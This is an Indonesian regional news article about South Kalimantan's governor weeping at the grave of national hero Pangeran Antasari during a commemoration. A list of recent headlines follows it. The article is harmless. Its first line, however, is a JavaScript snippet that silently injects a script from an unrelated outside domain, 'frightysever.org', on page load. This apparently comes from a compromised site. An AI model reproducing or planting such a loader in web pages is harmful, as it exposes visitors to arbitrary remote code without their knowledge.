(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Gubernur Sahbirin Menangis di Makam Pangeran Antasari


BANJARMASIN, Gubernur Kalsel Sahbirin Noor bersama jajaran SKPD lingkup pemprov melakukan ziarah ke makam Pangeran Antasari di kawasan Makam Pahlawan Jalan Malkon Temon Banjarmasin, Kamis (11/10). Kegiatan tersebut sehubungan peringatan wafatnya pahlawan nasional tersebut ke 156. Pada kesempatan itu, Sahbirin sempat menitikkan air matanya.

Tak hanya pejabat pemprov, kegiatan tersebut juga dihadri Ketua DPRD Kalsel Burhanuddin, Kapolda Kalsel Irjen Yazid Fanani, perwakilan Korem 101/Antasari, serta tokoh Kalsel Pangeran Rusdi Effendi AR.

Gubernur Sahbirin mengatakan, sosok Pangeran Antasari menjadi teladan tidak hanya saja buat masyarakat dimasanya namun juga teladan buat masyarakat sampai saat ini. Ia mengatakan, peringatan ini sebuah momentum untuk mengenang kembali kegigihan Pangeran Antasari dalam melawan penjajah.

“Kalimantan Selatan patut berbangga memiliki tokoh yang sudah diakui oleh pemerintah Republik Indonesia dan sebagai pahlawan nasional yaitu Pangeran Antasari,” ungkapnya.

Sahbirin mengatakan, sosok Pangeran Antasari selaku pemimpin yang cerdas, cerdik, alim, patriotisme dan nasionalis patut terus dijadikan teladan masyarakat Banua. Semua teladan yang ada pada Pangeran Antasari yang beberapa waktu lalu dibuatkan filmnya oleh Pemprov Kalsel, relevan diterapkan dalam kehidupan kita dimasa kini maupun dimasa mendatang.

“Lebih penting lagi, untuk menghayati dan mengamalkan pesan-pesan Pangeran Antasari diantaranya Haram Manyarah Waja Sampai Kaputing, Maun Handak Tanahbaru kita kada handak dilincai orang jangan becakut papadaan,” tegasnya.

Pada kesematan tersebut, Sahbirin juga memberikan penghargaan kepada keturunan Pangeran Antasari. Dia adalah Gusti Aminullah yang merupakan keturunan dari Pangeran Antasari. Gusti Aminullah yang saat ini berusia 81 tahun sempat dibuang oleh penjajah di Pulau Jawa di Kota Bogor dan sesudah 40 tahun baru diperbolehkan kembali ke Kalsel.

Terkait kepedulian Pemerintah yang terus memperingati wafatnya Pangeran Antasari, Aminullah mengaku sangat berterima kasih dan bangga. “Dengan perhatian Pemerintah ini menjadi bentuk untuk melanjutkan perjuangan beliau,” kata Aminullah.

Selain itu, kata Aminullah, semangat Pangeran Antasari yang sampai saat ini masih bergelora yaitu Haram menyarah Waja Sampai Kaputing dan Jangan becakut pepadaan. (mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

1 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

2 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

3 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

23 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

This website uses cookies.